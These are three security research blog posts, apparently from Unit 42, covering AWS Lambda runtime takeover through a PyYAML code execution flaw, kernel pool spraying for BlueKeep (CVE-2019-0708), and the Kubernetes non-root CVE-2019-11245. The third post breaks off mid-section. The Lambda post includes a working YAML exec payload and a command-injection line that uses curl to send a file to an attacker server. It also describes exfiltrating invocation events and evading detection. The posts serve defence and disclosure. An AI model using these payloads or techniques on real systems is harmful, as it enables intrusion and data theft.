But what can an attacker even do if he found a Remote Code Execution (RCE) vulnerability in a Lambda function? In other words, if there’s a security flaw in the user’s handler or in one of the modules used by it, what can an attacker achieve upon exploiting such vulnerability?

Let’s examine a common use case – a Lambda that processes and validates some data, and then enters it into a database.

Some straightforward answers come to mind:

  • The attacker can abuse our vulnerable Lambda as an execution resource, and leverage it for crypto-mining, for example.
  • The attacker has access to the resources available to the Lambda. Our Lambda has write privileges to a certain DB, and so the attacker has them too.

These are legitimate attack vectors, but in the example above it’s likely that the attacker will be most interested in the users’ private information. Luckily for the users, our Lambda is appropriately configured with only writing privileges to the sensitive DB.

Well, what about the other invocations? They contain new information designated for the DB, can the attacker access them somehow?
That is the question I sought to answer in a research I conducted. The short answer is yes, an attacker can persist on a vulnerable Lambda instance and gain access to other invocations. Let’s see how.

Lambda Basics

Lambda instances are scaled according to demand. If 3 concurrent requests occur, AWS will scale the number of Lambda instances accordingly. Spinning up a new Lambda instance takes time, therefore, when a new Lambda instance handles its first request, its execution time is notably longer. This is called a cold start. To avoid frequent cold starts, AWS will keep Lambda instances alive for some time to handle subsequent requests. From my experience, an instance is normally removed after 10-15 inactive minutes.

One major takeaway from this execution model is that Lambda invocations aren’t completely separated from each other. They could run, though not simultaneously, in the same execution environment. With that in mind, let’s start dissecting that environment.

Researching the Lambda Environment

Lambda supports several runtimes, with the most popular being Python 3.7 and Node.js 10. I decided to focus on the Python runtime.
I wanted to set up a reverse shell from a Lambda to my local machine and start investigating the environment. Soon enough though, I realized that won’t be trivial. A reverse shell will require an ongoing connection, but keeping a Lambda running for more than a few seconds can get costly. Moreover, Lambdas timeout after a relatively short period (the maximum is 15 minutes).

A better-suited approach is to reinvoke the Lambda for each shell command. In this method, you deploy a Lambda which executes received commands and returns their output. I’ve seen some open-source tools that do exactly that, but I didn’t find them convenient enough. Most didn’t implement a shell interface, and none supported features which I thought to be necessary – working directory (CWD) tracking, transferring files between the Lambda and the local machine, and most importantly – pretty colors.

Splash

I decided to create my own tool and thus SPLASH was born. SPLASH stands for Splash Pseudo Lambda Shell. To use splash, the only setup required is to deploy a Lambda running the splash agent LEX (Lambda Executor), and configure splash with your Lambda address.

Using splash, I started poking around the environment. Here are the processes running on the Lambda. You can see that all of them run as the same unprivileged user.

Our Lambda runs in an isolated environment, which appears to be some sort of container. This can be verified by examining the cgroup mappings of the processes running on the Lambda. Control groups are one of the key isolation technologies used in containers.

The cgroup names are prefixed with ‘sandbox’, a prefix that didn’t match any container engine I’m familiar with (I checked docker, podman, LXD and rkt just to be sure). Some container engines do offer options for setting custom cgroups, yet this doesn’t seem to be the case. I assume they use a proprietary container engine, which could be internally using an open source container runtime like runC.

I proceeded to download the executables running on the Lambda, and began reverse engineering them.

These are the main files I looked at:

  • /var/rapid/init – a Golang binary, PID 1 in the Lambda.
  • /var/runtime/bootstrap.py – the Python3.7 Lambda runtime.

Lambda Python3.7 Architecture

I eventually came up with the following architecture for a Lambda Python3.7 instance:

  1. A process outside the container, referred to as the “slicer” in the init binary, sends invocation events to the init process via shared memory.
  2. The init process sets up an HTTP server on port 9001 (hard-coded), with several exposed endpoints:
    1. /2018-06-01/runtime/invocation/next – get the next invocation event
    2. /2018-06-01/runtime/invocation/{invoke-id}/response – return the handler response for the invoke
    3. /2018-06-01/runtime/invocation/{invoke-id}/error – return an execution error
  3. In bootstrap.py the following loop queries the init process for a new event, and then calls the user’s function to handle it (here, the request handler you uploaded runs).
  4. The handler response is then sent back to the init process through one of the following endpoints:
    1. /{invoke-id}/response – if the user handler executed successfully
    2. /{invoke-id}/error – if an exception was raised during the handling of the invoke

    The init process then hands over this response to the slicer.

One thing to note is how bootstrap.py invokes the user’s code. It doesn’t run it in a child process, but calls it as an external python module. This means that the user code, which might contain RCE vulnerabilities in it, runs as part of the bootstrap process.

Other Runtimes

I briefly looked into other Lambda runtimes as well. Interpreter based runtimes (NodeJS, ruby) are almost identical to the Python runtime, except the bootstrap process is written in the runtime’s language (e.g. in the ruby runtime, it’s bootstrap.rb). Older versions of those runtime (e.g. NodeJS 8 and Python 2.7) are a bit different, and have only one process, called bootstrap, which also handles the responsibilities of the init process.

Other runtimes (Golang, .net and Java) each have their own implementation.

The Plan

Back to our goal – as an attacker with RCE on a Lambda, we have code execution in a specific invocation, but we want access to the data posted on subsequent invocations – we need to gain some persistency.

I figured that if we can replace either the init or bootstrap process with our own malicious version, we will have full access to all events sent to the Lambda instance. The bootstrap process seems like the easier choice – bootstrap.py is a Python script, which is much simpler to mimic and modify than a Golang binary like init.

Now we just need a vulnerable Lambda to experiment with.

Our Target Lambda


Our Lambda deployment is packed with the yaml module, v3.13. Unfortunately, this version contains a code execution vulnerability in the yaml.load() function – CVE-2017-18432. Here is an example of a payload exploiting the vulnerability to calculate 1000 + 337 and print the result:

!!python/object/new:exec [ "result = 1000 + 337; print('Output: ' + str(result))" ]

If we send this to our Lambda and look at the logs, we can see that the code within our payload was executed (Lambdas’ output is transferred to CloudWatch Logs):


I didn’t want to write one-liner payloads, so I wrote a small program, create_evil_yaml.py, that takes a Python script and transfers it into a valid payload.

create_evil_yaml.py also takes in a data file, which is injected alongside the payload into the evil yaml file. Upon execution of the payload, the data is available to it as a variable called external_data_b64.

Replacing the Runtime

With our vulnerable Lambda ready, we can carry out the plan to replace the bootstrap process. I created a yaml payload which contains the new runtime, writes it to a file on the Lambda and calls os.execv to replace bootstrap with it. Here is the code for switch_rutime.py:

switch_runtime.py first decodes the new runtime from external_data_b64. It then checks if the Lambda’s /tmp dir is writable, and if it is, writes the new runtime there. If not, it uses the memfd_create syscall to create the runtime file in memory, instead of on the filesystem. The payload then calls os.execv to replace the bootstrap process with our new runtime.

As you can see, switch_runtime.py passes one argument to the new runtime – invoke_id. Our new runtime will need it in order to reconnect to the init process. To understand why, let’s look at how the init and bootstrap process normally communicate with each other:

Our new runtime will start running in the middle of this pattern:

Therefore before requesting the next event, our new runtime will need to return a response for the event that spawned it. This requires our runtime to have that event’s invoke id, since the response endpoint URL is /${invoke-id}/response.

switch_runtime.py runs in the context of the bootstrap process, and can thus extract the invoke id from bootstrap.py’s _GLOBAL_AWS_REQUEST_ID variable. This is done using the ‘inspect’ Python module, which allows you to inspect the stack of your process and access the data saved on it.

Now that switch_runtime.py is ready, all that’s left is to write our new runtime!

Twist Runtime

twist_runtime.py is a copy of the original bootstrap.py, with a couple of modifications:

  1. Upon starting, the runtime posts a mock response to the init process, using the invoke_id it received as an argument.
  2. Each event received by the runtime is sent to an external server before being handed to the user’s handler.
  3. The runtime also adds a small message to each Lambda response (which you’ll see in the video below).

Leaking Subsequent Invocations PoC

Putting everything together, here is a PoC video. In it, sendYamlData.py is used to send yaml files to the Lambda and print its response.

Below is the attack flow:

Persistency in a Temporary Environment

Once we compromised the Lambda instance, all requests directed to it are visible to our runtime. Of course, if the compromised instance doesn’t receive frequent requests, it will be taken down by AWS. Additionally, if concurrent requests are sent to the Lambda, some will be directed to other instances.

A skilled attacker can still use some tricks to gain a better foothold and extract most requests to the Lambda, for example:

  • He can periodically “warm” his Lambda instance by sending requests to the Lambda. He can also modify his runtime so that it will respond differently to this type of requests, to signal that it’s still alive.
  • The attacker can also send concurrent payloads to take over several Lambda instances.
Stealthiness

Like in any attack, there is also the issue of staying undetected. Currently, the payload that replaces the runtime takes about 2 seconds to execute, which is relatively long in comparison to usual Lambda execution times. This can likely be shortened though, by dropping unnecessary initialization logic that was copied from bootstrap.py. On the other hand, the long execution time might be mistaken for a cold start, masking the attack.
A smart attacker could also learn the function’s normal behavior and output, and try to use CloudWatch Logs to confuse defenders and obscure his attack.

External Process RCE

The yaml.load() vulnerability enables an attacker to execute code as part of the vulnerable process. On the other hand, there are many exploits that execute payloads as an external process. Consider the following vulnerable Lambda which returns the request’s body, encoded in Base64:

An attacker can exploit this Lambda and send arbitrary commands, which will be executed in an external shell process. For example, he can send “; curl -f “@/some/path” {our-server-ip}:{port};” to upload a file from the Lambda to his server.

Using this type of RCE vulnerabilities to take over the Lambda’s runtime is possible, but some modifications to the payload we used are required. Since our payload runs in an external process, it can’t use the inspect module to retrieve the invoke id. Instead, it should read bootstrap’s memory directly through /proc/${bootstrap-pid}/mem, and use regex to search for a sequence of bytes that match the invoke id format. Additionally, our payload will need to kill or stop the old bootstrap process.
There are a few other smaller tweaks. If you’re interested, I used the vulnerable base64 Lambda above and wrote a small PoC, available here.

Takeaways

I’d like to emphasize that the attack presented here isn’t a vulnerability in AWS. AWS Lambda follows a shared responsibility model – if your code has a vulnerability, that’s on you – as far as AWS is concerned. Future steps can be taken by AWS to separate the user code from the runtime, like running them in different processes, or with different privileges inside the Lambda instance, but I reckon most would hurt Lambda’s main upside – speed.

One recommendation I do think can be implemented without much trouble is to set the ptrace scope at /proc/sys/kernel/yama/ptrace_scope to 2 (‘admin access’). This will disable ptrace operations inside the Lambda and deny access to /proc/{bootstrap-pid}/mem, preventing the external process attack.

Developers might mistake serverless to be secure by default, mostly due to the temporary execution nature. This is not the case, and I hope that the PoC presented here highlights that. Invocations aren’t completely separated from each other, and for malicious parties, vulnerable Lambdas can be more than just an execution resource. With full control over a Lambda instance, attackers can access other invocations, alter the Lambda’s behavior and leak private information.

Though I chose to focus on the Python 3.7 Lambda runtime, this type of takeover attack will most likely succeed in other runtimes as well. All runtimes share the same execution design, where user code runs in the same privilege as the runtime invoking it. Simply put, vulnerable user code compromises the runtime as well.

All in all, serverless functions do still have the upside of being relatively small (code-wise), which makes them easier to secure given proper attention.

Twistlock (Prisma Cloud) Protection

Twistlock’s serverless Defender will prevent the PoC attack in three points:

  • The vulnerable YAML package will be identified, and the user will be prompted to update to the fixed version.
  • For Lambdas defined as read-only, the Defender will deny switch_runtime.py from writing the new runtime to the Lambda’s /tmp dir.
  • The Defender will stop the os.execv call in switch_runtime.py.

Of course, the Twistlock Console will also alert on this suspicious activity.

This was a pretty long post, but I hope you now understand Lambda security risks better. As always, feel free to reach out with any questions you may have through email or @unit42_intel.

Exploitation of Windows CVE-2019-0708 (BlueKeep): Three Ways to Write Data into Kernel with RDP PDU

Posted on by Tao Yan

Executive Summary

In May 2019, Microsoft released an out-of-band patch update for remote code execution vulnerability CVE-2019-0708, which is also known as “BlueKeep” and resides in code to Remote Desktop Services (RDS). This vulnerability is pre-authentication and requires no user interaction, making it particularly dangerous as it has the unsettling potential to be weaponized into a destructive exploit. If successfully exploited, this vulnerability could execute arbitrary code with “system” privileges. The Microsoft Security Response Center advisory indicates this vulnerability may also be wormable, a behavior seen in attacks including Wannacry and EsteemAudit. Understanding the seriousness of this vulnerability and its potential impact to the public, Microsoft took the rare step of releasing a patch for the no longer supported Windows XP operating system, in a bid to protect Windows users.

With potential global catastrophic ramifications, Unit 42 researchers felt it was important to analyze this vulnerability to understand the inner workings of RDS and how it could be exploited. Our research dives deep into the RDP internals and how they can be leveraged to gain code execution on an unpatched host. This blog discusses how Bitmap Cache protocol data unit (PDU), Refresh Rect PDU, and RDPDR Client Name Request PDU can be used to write data into kernel memory.

Since the patch was released in May, this vulnerability has received a lot of attention from the Computer Security industry. It is only a matter of time before a working exploit is released in the wild. The findings of our research highlight the risks if vulnerable systems are left unpatched.

Bitmap Cache PDU

Per MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting) documentation, the full name of bitmap cache PDU is TS_BITMAPCACHE_PERSISTENT_LIST_PDU, which is considered as Persistent Key List PDU Data and embeds in the Persistent Key List PDU. The Persistent Key List PDU is an RDP Connection Sequence PDU sent from client to server during the

Connection Finalization phase of the RDP Connection Sequence, as shown in Figure 1.

Figure 1. Remote Desktop Protocol (RDP) connection sequence

The Persistent Key List PDU header is the general RDP PDU header and is constructed as follows and shown in Figure 2: tpktHeader (4 bytes) + x224Data (3 bytes) + mcsSDrq (variable) + securityHeader (variable).

Figure 2. Client Persistent Key List PDU

Per MS-RDPBCGR documentation, the TS_BITMAPCACHE_PERSISTENT_LIST_PDU is a structure that contains a list of cached bitmap keys saved from Cache Bitmap (Revision 2) Orders ([MS-RDPEGDI] section 2.2.2.2.1.2.3) that were sent in previous sessions as shown in Figure 3.

Figure 3. Persistent Key List PDU Data (BITMAPCACHE PERSISTENT LIST PDU)

By design, the Bitmap Cache PDU is used for the RDP client to notify the server that it has a local copy of the bitmap associated with the key, which indicates that the server does not need to retransmit the bitmap to the client. Based on the MS-RDPBCGR documentation, the Bitmap PDU has four characteristics:

  • The RDP server will allocate a kernel pool to store the cached bitmap keys.
  • The size of the kernel pool allocated by the RDP server can be controlled by “WORD value” numEntriesCacheX[x can be from 0 to 4] fields in the structure and totalEntriesCacheX[x can be from 0 to 4] in the BITMAPCACHE PERSISTENT LIST structure from the RDP client.
  • The Bitmap Cache PDU can be sent legitimately multiple times because the bitmap keys can be sent in more than one Persistent Key List PDU, with each PDU being marked using flags in the bBitMask field.
  • There is a limit to 169 for the number of bitmap keys.

Based on these four characteristics of BITMAPCACHE PERSISTENT LIST PDU, it appears to be a good candidate to write arbitrary data into the kernel if either the number of bitmap keys limit to 169 can be bypassed, or the RDP developers in Microsoft didn’t implement it according to that limit.

How to write data into kernel with Bitmap Cache PDU

According to MS-RDPBCGR documentation, a normal decrypted BITMAPCACHE PERSISTENT LIST PDU is shown below:

f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes

17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017

0x0017

= 0x0010 | 0x0007

= TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007

ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea

00 -> TS_SHAREDATAHEADER::pad1

01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1)

00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0

2b -> TS_SHAREDATAHEADER::pduType2 =

PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43)

00 -> TS_SHAREDATAHEADER::generalCompressedType = 0

00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0

03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03

0x03

= 0x01 | 0x02

= PERSIST_FIRST_PDU | PERSIST_LAST_PDU

00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3

TS_BITMAPCACHE_PERSISTENT_LIST::entries:

a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

…

In kernel module RDPWD.sys, the function routine ShareClass::SBC_HandlePersistentCacheList is responsible for parsing BITMAPCACHE PERSISTENT LIST PDU. When the bBitMask field in the structure is set to a bit value of 0x01, it indicates the current PDU is PERSIST FIRST PDU. SBC_HandlePersistentCacheList will then call WDLIBRT_MemAlloc to allocate a kernel pool (allocate kernel memory) to store persistent bitmap cache keys as shown in Figure 4. A value of 0x00 indicates the current PDU is PERSIST MIDDLE PDU. A value of 0x02 indicates the current PDU is PERSIST LAST PDU. When parsing PERSIST MIDDLE PDU and PERSIST LAST PDU, SBC_HandlePersistentCacheList will copy bitmap cache keys to the memory allocated before as shown in Figure 5.

Figure 4. SBC_HandlePersistentCacheList pool allocation and totalEntriesCacheLimit check

Figure 5. SBC_HandlePersistentCacheList copy bitmap cache keys

The stack trace on Windows 7 x86 and the second argument to TS_BITMAPCACHE_PERSISTENT_LIST structure of SBC_HandlePersistentCacheList are shown in Figure 6 and Figure 7.

C:\Users\ga1ois\AppData\Local\Microsoft\Windows\INetCache\Content.Word\SBC_HandlePersistentCacheList stack trace.bmpFigure 6. SBC_HandlePersistentCacheList stack trace

Figure 7. TS_BITMAPCACHE_PERSISTENT_LIST structure as the second argument of SBC_HandlePersistentCacheList

As seen in Figure 4, bitmapCacheListPoolLen = 0xC * (total length + 4) and the total length = totalEntriesCache0 + totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4. Based on this formula we can set “WORD value” totalEntriesCacheX=0xffff to make the bitmapCacheListPoolLen to the maximum value. However, there is a totalEntriesCacheLimit check for each totalEntriesCacheX shown in Figure 8. The totalEntriesCacheLimitX is from the TS_BITMAPCACHE_CAPABILITYSET_REV2 structure, which is initiated in the CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2 function when calling DCS_Init by RDPWD, shown in Figure 8. This will be combined in the CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 function when parsing active confirm PDU, as shown in Figure 9.

Figure 8. RDPWD!CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2

Figure 9. RDPWD!CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2

CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 will combine the server initiated NumCellCaches (0x03) and totalEntriesCacheLimit[0-4] (0x258, 0x258, 0x10000, 0x0, 0x0) with client request NumCellCaches (0x03) and totalEntriesCache[0-4] (0x80000258, 0x80000258, 0x8000fffc, 0x0, 0x0), shown with edx and esi registers in Figure 9. The client can control NumCellCaches and totalEntriesCache[0-4], shown in Figure 10, but they cannot be over the server initiated NumCellCaches (0x03) and totalEntriesCacheLimit[0-4] (0x258, 0x258, 0x10000, 0x0, 0x0) shown in Figure 11.

Figure 10. TS_BITMAPCACHE_CAPABILITYSET_REV2

Figure 11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 function

With this knowledge we can compute the maximum bitmapCacheListPoolLen = 0xC * (0x10000 + 0x258 + 0x258 + 4) = 0xc3870 and theoretically we can control 0x8 * (0x10000 + 0x258 + 0x258 + 4) = 0x825a0 bytes data in the kernel pool, as shown in Figure 12.

Figure 12. Persistent Key List PDU Memory dump

However, we observed that not all data can be controlled by the RDP client in bitmap cache list pool as expected. There is a 4 byte uncontrolled data (the index value) between each 8 bytes controlled data which is not friendly for shellcode. Additionally the 0xc3870 sized kernel pool cannot be allocated multiple times due to the fact the Persistent Key List PDU can only be sent once legitimately. However, there are still specific statistical characteristics that the kernel pool will be allocated at the same memory address. Besides, there is always a 0x2b522c (on x86) or 0x2b5240 (on x64) kernel sized pool allocated before bitmap cache list pool allocation which could be useful for heap grooming especially on x64 as shown in Figure 13.

Figure 13. Persistent Key List PDU statistical characteristics

Refresh Rect PDU

Per MS-RDPBCGR documentation, the Refresh Rect PDU allows the RDP client to request that the server redraw one or more rectangles of the session screen area. The structure includes the general PDU header and the refreshRectPduData (variable) shown in Figure 14.

Figure 14. Refresh Rect PDU Data

The numberOfAreas field is an 8-bit unsigned integer to define the number of Inclusive Rectangle structures in the areasToRefresh field. The areaToRefresh field is an array of TS_RECTANGLE16 structures shown in Figure 15.

Figure 15. Inclusive Rectangle (TS_RECTANGLE16)

The Refresh Rect PDU is designed to notify the server with a series of arrays of screen area “Inclusive Rectangles” to make the server redraw one or more rectangles of the session screen area. It is based on default opened channel with the channel ID 0x03ea (Server Channel ID). After the connection sequence is finished, as shown in Figure 1, Refresh Rect PDU can be received/parsed by the RDP server and most importantly, can be sent for multiple times legitimately. Although limited to only 8 bytes for TS_RECTANGLE16 structure, which means only 8 bytes and not massive data can be controlled by the RDP client, it is still a very good candidate to write arbitrary data into the kernel.

How to write data into kernel with Refresh Rect PDU

A normal decrypted Refresh Rect PDU is shown in Figure 16.

Figure 16. A decrypted Refresh Rect PDU

The kernel module RDPWD.sys code function WDW_InvalidateRect is responsible for parsing Refresh Rect PDU as seen in Figure 17, below.

Figure 17. RDPWD!WDW_InvalidateRect stack trace

As shown in Figure 18, WDW_InvalidateRect function will parse Refresh Rect PDU stream and retrieve the numberOfAreas field from the stream as the loop count. Being a byte type field, the maximum value of numberOfAreas is 0xFF, so the maximum loop count is 0xFF. In the loop, WDW_InvalidateRect function will get left, top, right, and bottom fields in TS_RECTANGLE16 structure, put them in a structure on the stack and make it as the 5th parameter of WDICART_IcaChannelInput. To be mentioned here, the 6th parameter of WDICART_IcaChannelInput is the constant 0x808, and we will show how it helps for an efficient spray.

Figure 18. RDPWD!WDW_InvalidateRect function

WDICART_IcaChannelInput will eventually call kernel module termdd.sys function IcaChannelInputInternal. As shown in Figure 19, if a series of condition checks are True, the function IcaChannelInputInternal will call ExAllocatePoolWithTag to allocate an inputSize_6th_para + 0x20 sized kernel pool. As such, when the function IcaChannelInputInternal is called by RDPWD!WDW_InvalidateRect, inputSize_6th_para=0x808, and the size of the kernel pool is 0x828.

Figure 19. termdd!IcaChannelInputInternal ExAllocatePoolWithTag and memcpy

If the kernel pool allocation is successful, memcpy will be called to copy input_buffer_2 to the newly allocated kernel pool memory. Figure 20 shows the parameters of memcpy when the caller is RDPWD!WDW_InvalidateRect.

Figure 20. termdd!IcaChannelInputInternal memcpy windbg dump

Interestingly, the source address of the function memcpy is from the stRect structure on the stack of RDPWD!WDW_InvalidateRect and only the first 3 DWORDs are set in RDPWD!WDW_InvalidateRect, as shown in Figure 21. The leftover memory is uninitialized content on the stack and it is easy to cause information leaks. Besides, using a 0x808 sized memory to store 12 bytes of data is also spray-friendly.

Figure 21. RDPWD!WDW_InvalidateRect stRect structure set

Using this information, when the RDP client sends one Refresh Rect PDU with the numberOfAreas field of 0xFF, the RDP server will call termdd!IcaChannelInputInternal 0xFF times. Each termdd!IcaChannelInputInternal call will allocate 0x828 kernel pool memory and copy eight bytes of client controlled TS_RECTANGLE16 structure to that kernel pool. So, one Refresh Rect PDU with numberOfAreas field of 0xFF will allocate 0xFF number of 0x828 sized kernel pools. In theory if the RDP client sends Refresh Rect PDU 0x200 times, the RDP server will allocate around 0x20000 of 0x828 size non-paged kernel pools. Considering 0x828 sized kernel pool will be aligned by 0x1000, they will span a very large scope of the kernel pool and at the same time, client controlled eight bytes of data would be copied at the fixed 0x02c offset in each 0x1000 kernel pool. This is demonstrated in Figure 22 we get a stable pool spray in the kernel with Refresh Rect PDU.

Figure 22. RDPWD!WDW_InvalidateRect spray

There are situations where ExAllocatePoolWithTag and memcpy are not be called when a pointer (represented as variable v14 in Figure 23) is modified by termdd!_IcaQueueReadChannelRequest and the comparison will be False as shown in Figure 23, the route will enter routine _IcaCopyDataToUserBuffer which leads to an unsuccessful pool allocation. However, when sending Refresh Rect PDU many times, we can still get a successful kernel pool spray even though there are some unsuccessful pool allocations.

Besides, there are situations where some kernel pools may be freed after the RDP server is finished using them, but the content of the kernel pool will not be cleared, making the data which we spray into the kernel valid to use in the exploit.

Figure 23. termdd!IcaChannelInputInternal IcaCopyDataToUserBuffer

RDPDR Client Name Request PDU

Per MS-RDPEFS documentation RDPDR Client Name Request PDU is specified in [Remote Desktop Protocol: File System Virtual Channel Extension] which runs over a static virtual channel with the name RDPDR. The purpose of the MS-RDPEFS protocol is to redirect access from the server to the client file system. Client Name Request is the second PDU sent from client to server as shown in Figure 24.

Figure 24. File System Virtual Channel Extension protocol initialization

Client Name Request PDU is used for the client to send its machine name to the server as shown in Figure 25.

Figure 25. Client Name Request (DR_CORE_CLIENT_NAME_REQ)

The header is four bytes RDPDR_HEADER with the Component field set to RDPDR_CTYP_CORE and the PacketId field set to PAKID_CORE_CLIENT_NAME. The ComputerNameLen field (4 bytes) is a 32-bit unsigned integer that specifies the number of bytes in the ComputerName field. The ComputerName field (variable) is a variable-length array of ASCII or Unicode characters, the format of which is determined by the UnicodeFlag field. This is a string that identifies the client computer name.

How to write data into kernel with RDPDR Client Name Request PDU

The following can be said about the RDPDR Client Name Request PDU. The Client Name Request PDU can be sent for multiple times legitimately, for each request the RDP server will allocate a kernel pool to store this information, and most importantly, the content and length of the PDU can be fully controlled by the RDP client. This makes it an excellent choice to write data into the kernel memory. A typical RDPDR Client Name Request PDU is shown in Figure 26.

Figure 26. client name request memory dump

When the RDP server receives a RDPDR Client Name Request PDU, the function IcaChannelInputInternal in the kernel module termdd.sys is called to dispatch channel data first, then the RDPDR module will be called to parse the data part of the Client Name Request PDU. The function IcaChannelInputInternal for Client Name Request PDU applies the same code logic as for Refresh Rect PDU. It will call ExAllocatePoolWithTag to allocate kernel memory with tag TSic and use memcpy to copy the client name request data to the newly allocated kernel memory as shown in Figure 27.

Figure 27. client name request

So far, we have demonstrated the copied data content and length are both controlled by the RDP client, and the Client Name Request PDU can be sent multiple times legitimately. Due to its flexibility and exploit-friendly characteristics the Client Name Request PDU can be used to reclaim the freed kernel pool in UAF (Use After Free) vulnerability exploit and also can be used to write the shellcode into the kernel pool, even can be used to spray consecutive client controlled data into the kernel memory.

As shown in Figure 28 we successfully obtained a stable pool allocation and write client-controlled data into the kernel pools with RDPDR Client Name Request PDU.

Figure 28. client name request stable pool allocation

Detection and Mitigation

CVE-2019-0708 is a severe vulnerability targeting RDP and can be exploitable with unauthenticated access. According to the MSRC advisory, Windows XP, Windows 2003, Windows 7 and Windows 2008 are all vulnerable. Organizations using those Windows versions are encouraged to patch their systems to prevent this threat. Users should also disable or restrict access to RDP from external sources when possible.

Palo Alto Networks customers are protected from this vulnerability by: 

  • Traps prevents exploitation of this vulnerability on Windows XP, Windows 7, and Windows Server 2003 and 2008 hosts.
  • Threat Prevention detects the scanner/exploit.

Conclusion

In this blog we introduced three ways to write data into the kernel with RDP PDU.

  • Bitmap cache PDU allows the RDP server to allocate a 0xc3870 sized kernel pool after a 0x2b5200 sized pool allocation and write controllable data into it, but cannot perform the 0xc3870 sized kernel pool allocation multiple times.
  • Refresh Rect PDU can spray many 0x828 sized kernel pools which are 0x1000 aligned and write 8 controllable bytes into each 0x828 sized kernel pool.
  • RDPDR Client Name Request PDU can spray controllable sized kernel pool and fill them with controllable data.

We believe that there are other yet-to-be-documented ways to make CVE-2019-0708 exploitation easier and more stable. Users should take steps to ensure their vulnerable systems are protected through one of the mitigation steps listed above.

Thank you to Mike Harbison for his assistance in editing this report.

Non-Root Containers, Kubernetes CVE-2019-11245 and Why You Should Care

Posted on by Unit 42

On May 31th, the Kubernetes Product Security Committee announced a security regression in Kubernetes for which they had assigned CVE-2019-11245. The problem caused containers that use images which are supposed to run with a non root user to run as root, on the second time they are used or upon restart of the container.

Before elaborating on this particular security issue, let’s first clarify why running a program as root in a container is even a concern at all.

Non-root containers

When running applications on a non-containerized Linux environment, e.g. on the host machine, it is commonly understood why isolation between the root user and non-privileged users is desired. If run as root, any breached or misbehaving application could easily wreak havoc on the system, by modifying system files, stopping or launching privileged processes and so on. Many popular Linux daemons drop privileges in their early setup stages, for example the nginx daemon for Ubuntu forks and runs as the unprivileged www-data user.

With containers, privilege separation was made even simpler. Each container runs in its own runtime, isolated by Linux namespaces and a dropped set of capabilities. Each application is meant to run in its own container, and root is assumed to be safe to use in the container.

It has therefore become commonplace for applications in containers to run with root privileges, and most images do not change to a non-privileged user. Unfortunately, it is not commonly understood that by doing so these images may be missing out on an important security layer. That is especially true given many of these images have no real use for running as the root user.

To their credit, some container platforms run all their containers as a non root user by default. OpenShift, for example, requires its users to use images that support running as a random, non-root user. It then runs each of its containers as an arbitrary non-root user.1

In addition, some containerized applications drop root privileges by changing to a non-root user after setup, allowing them to rely on user based file permissions to prevent access to sensitive files (e.g. configurations) or processes in the containers. This limits the damage an attacker can do in a breached container. Jenkins is a good example of an image with this design.

Nevertheless, the main reason for which using a non-root user in containers is a valuable security precaution is prevention of container breakout.

Most container runtimes share the same root user between the host and containers. By itself this is not a problem, since the container process is sandboxed using Linux capabilities and Linux namespaces such as PID, net, mount and IPC. But if the kernel makes no distinction between the user or group IDs of the host and the container, any vulnerability in the container runtime that exposes anything from the host to a container process invites serious trouble. Put simply, succeeding in container breakout is much more probable for processes running as root.

In such a scenario, a malicious process would be able to modify any file on the system without having to further escalate privileges to the root user. Moreover, some container escape vulnerabilities simply require root privileges to exploit.

Over the years, multiple breakout vulnerabilities have been revealed in container engines including Kubernetes and Docker. One example is CVE-2016-9962, a vulnerability in runc2 allowing container processes to escape the host by grabbing file-descriptors from the host before their capabilities were dropped. Exploitation of this flaw required running the process as root. CVE-2019-5736, another runc vulnerability of the same nature that was found earlier this year, also required the malicious container process to run as the root user, as explained by Yuval Avrahami in his exploitation writeup.

User namespaces and rootless containers

